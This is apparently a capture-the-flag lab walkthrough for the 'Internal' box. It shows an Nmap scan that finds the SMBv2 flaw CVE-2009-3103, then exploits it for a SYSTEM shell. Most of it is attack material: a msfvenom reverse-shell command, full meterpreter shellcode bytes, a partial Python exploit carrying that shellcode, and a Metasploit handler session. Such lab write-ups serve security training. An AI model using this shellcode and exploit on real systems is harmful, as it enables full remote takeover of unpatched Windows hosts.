Internal
Exploitation guide for Internal
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Exploitation guide for Internal
Last updated
Was this helpful?
Exploiting Internal is straight forward. We will find the vulnerable service running on the system with the help of Nmap and then use the publicly available exploit to get the reverse shell. There is no need of privilege escalation since we will get the shell as root user.
──(imtodess㉿deathnote)-[~/…/boxes/pg/internal/scans]
└─$ sudo nmap $ip -sVCS -O -oN nmapInitial.txt
[sudo] password for imtodess:
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-23 02:53 EDT
Nmap scan report for 192.168.209.40
Host is up (0.24s latency).
Not shown: 987 closed ports
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.0.6001 (17714650) (Windows Server 2008 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.0.6001 (17714650)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server (R) 2008 Standard 6001 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open ssl/ms-wbt-server?
| rdp-ntlm-info:
| Target_Name: INTERNAL
| NetBIOS_Domain_Name: INTERNAL
| NetBIOS_Computer_Name: INTERNAL
| DNS_Domain_Name: internal
| DNS_Computer_Name: internal
| Product_Version: 6.0.6001
|_ System_Time: 2021-08-23T06:55:40+00:00
| ssl-cert: Subject: commonName=internal
| Not valid before: 2020-03-19T16:56:02
|_Not valid after: 2020-09-18T16:56:02
|_ssl-date: 2021-08-23T06:55:48+00:00; +1s from scanner time.
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
-(imtodess㉿deathnote)-[~/…/boxes/pg/internal/scans]
└─$ nmap $ip --script=vuln
Host script results:
|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: Failed to receive bytes: EOF
| smb-vuln-cve2009-3103:
| VULNERABLE:
| SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
| State: VULNERABLE
| IDs: CVE:CVE-2009-3103
| Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
| Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
| denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
| PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
| aka "SMBv2 Negotiation Vulnerability."
|
| Disclosure date: 2009-09-08
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_ http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: EOFSearch the CVE from the Nmap result. We will find the exploit related to the vulnerability in exploit-db. https://www.exploit-db.com/exploits/40280
For this exploit. We will need to generate the shell code using msfvenom.
Note: Change IP and port according to your need.
──(imtodess㉿deathnote)-[~/…/boxes/pg/internal/exploits]
└─$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.49.209 LPORT=5357 EXITFUNC=thread -f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 375 bytes
Final size of c file: 1599 bytes
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3"
"\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xc1"
"\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x31\xd1\x68\x02"
"\x00\x14\xed\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
"\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";Copy the generated shell code and put it in the exploit.
import tempfile
import sys
import subprocess
from socket import socket
from time import sleep
from smb.SMBConnection import SMBConnection
try:
target = sys.argv[1]
except IndexError:
print '\nUsage: %s <target ip>\n' % sys.argv[0]
print 'Example: MS36299.py 192.168.1.1 1\n'
sys.exit(-1)
#msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.77 LPORT=443 EXITFUNC=thread -f python
shell =("\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3"
"\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xc1"
"\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x31\xd1\x68\x02"
"\x00\x14\xed\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
"\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"
)
host = target, 445
. . .
This Exploit is written in
python2and requirespysmbmodule to run. If it is not available in your system install it by using following command.pip2.7 install pysmbInstall pip2.7 if it is not installed in your system:curl -O https://bootstrap.pypa.io/pip/2.7/get-pip.pysudo python get-pip.pyInstallsetuptoolsif you geterror:invalid command 'egg_info'pip2.7 install --upgrade setuptools
Make sure to change the payload, lhost and lport.
┌──(imtodess㉿deathnote)-[~/…/boxes/pg/internal/exploits]
└─$ msfconsole -q
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be spec
ified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf6 exploit(multi/handler) > set lhost tun0
lhost => 192.168.49.209
msf6 exploit(multi/handler) > set lport 5357
lport => 5357
msf6 exploit(multi/handler) > set payload /windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.49.209:5357
┌──(imtodess㉿deathnote)-[~/…/boxes/pg/internal/exploits]
└─$ python exploit.py 192.168.209.40
Enter WORKGROUP\Administrator's password: We will receive the shell in multi/handler as nt authority\system.
[*] Sending stage (175174 bytes) to 192.168.209.40
[*] Meterpreter session 1 opened (192.168.49.209:5357 -> 192.168.209.40:49159) at 2021-08-23 04:11:56 -0400
meterpreter > shell
Process 1864 created.
Channel 1 created.
Microsoft Windows [Version 6.0.6001]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Users\Administrator\Desktop>type network-secret.txt
type network-secret.txt
<Redacted>
C:\Users\Administrator\Desktop>type proof.txt
type proof.txt
<Redacted>